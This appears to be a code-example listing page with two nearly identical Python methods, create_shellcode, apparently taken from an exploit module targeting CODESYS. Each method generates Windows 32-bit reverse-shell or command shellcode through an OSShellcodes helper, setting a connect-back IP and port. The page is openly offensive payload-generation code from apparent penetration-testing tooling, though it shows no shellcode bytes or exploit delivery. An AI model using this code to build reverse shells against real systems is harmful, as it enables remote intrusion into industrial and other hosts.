示例#1
0
 def create_shellcode(self):
     self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname())
     if self.args['listener']:
         shellcode_type = 'reverse'
         port = int(self.args['listener']['PORT'])
     else:
         port = 9999
         shellcode_type = 'command'
     self.CONNECTBACK_PORT = port
     os_system = os_target = 'WINDOWS'
     os_arch = '32bit'
     s = OSShellcodes(os_target, os_arch, self.CONNECTBACK_IP,
                      self.CONNECTBACK_PORT)
     s.TIMESTAMP = 'codesys'
     shellcode = s.create_shellcode(shellcode_type, encode=0, debug=1)
     return shellcode
示例#2
0
 def create_shellcode(self):
     self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname())
     if self.args['listener']:
         shellcode_type = 'reverse'
         port = int(self.args['listener']['PORT'])
     else:
         port = 9999
         shellcode_type = 'command'
     self.CONNECTBACK_PORT = port
     os_system = os_target = 'WINDOWS'
     os_arch = '32bit'
     s = OSShellcodes(os_target,
                     os_arch,
                     self.CONNECTBACK_IP,
                     self.CONNECTBACK_PORT)
     s.TIMESTAMP = 'codesys'
     shellcode = s.create_shellcode(
         shellcode_type,
         encode=0,
         debug=1
     )
     return shellcode